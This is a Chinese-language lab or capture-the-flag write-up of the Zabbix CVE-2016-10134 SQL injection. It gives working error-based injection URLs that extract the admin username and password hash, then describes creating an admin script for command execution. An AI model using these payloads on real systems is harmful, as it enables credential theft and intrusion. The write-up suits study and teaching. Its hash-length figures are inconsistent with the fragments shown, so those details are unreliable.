请勿截屏传播

Zabbix CVE-2016-10134

1、漏洞描述

CVE-2016-10134 是 Zabbix Web 前端的一个高危 SQL 注入漏洞。它的核心问题是 latest.php 在处理 toggle_ids 参数时,直接将其拼接进了 SQL 语句,没有做任何过滤。

2、触发条件

  • 核心条件:目标 Zabbix 版本在受影响范围内,且 Web 界面可访问。
  • 认证要求:通常无需登录。Zabbix 默认可能开启 Guest 模式(空密码),即使未开启,jsrpc.php 的注入点有时也可以未授权触发。
  • 网络位置:攻击者能够直接访问 Zabbix 的 Web 端口。

3、解题

访问页面:

使用guest空密码账号登录

/jsrpc.php是安全研究员 Brandon Perry通过代码审计发现,虽然入口点不同(latest.php 的 toggle_ids vs jsrpc.php 的 profileIdx2),但两个参数最终都流向了同一个存在缺陷的函数 CProfile::insertDB(),jsrpc.php 的 profileIdx2 参数恰好满足这个条件,而且无需登录(利用默认的 guest 空密码)即可触发。 所以我们可以构造注入语句:

text
http://x.x.x.x:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

说明存在报错注入,接下来我们可以看看Zabbix的管理员的账号密码:

text
/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(1,concat(0x7e,(select concat(alias,0x3a,passwd) from users limit 0,1),0x7e),1)

这样我们就得到了Zabbix的管理员账号了Admin以及密码5fce1b3e34b520afeffb37ce0 看样子密码是MD5过来的,不过这里由于updatexml() 报错回显有 32 字符长度限制,你的拼接结果是 ~Admin: + 32位MD5,总共 39 个字符,所以 MD5 只显示了前 27 位(5fce1b3e34b520afeffb37ce0),后面还有 5 位没显示出来,所以我们需要查询第二段

text
profileIdx2=updatexml(1,concat(0x7e,(select substr(passwd,17,16) from users limit 0,1),0x7e),1)

第二段8c7cd66,接下来我们可以用在线的MD5解密站来尝试反查

这样我们就获取了Zabbix站点的管理员账号和密码,但是该漏洞还没有到此结束,然后使用账号密码登录:

在Administration的Script中可以创建可执行脚本

要触发这个脚本,需要在Monitoring的Latest data里面查看

就能看到flag了。

骑士 CMS V5.0.1
Tomcat CVE-2017-12615

评论区

评论加载中...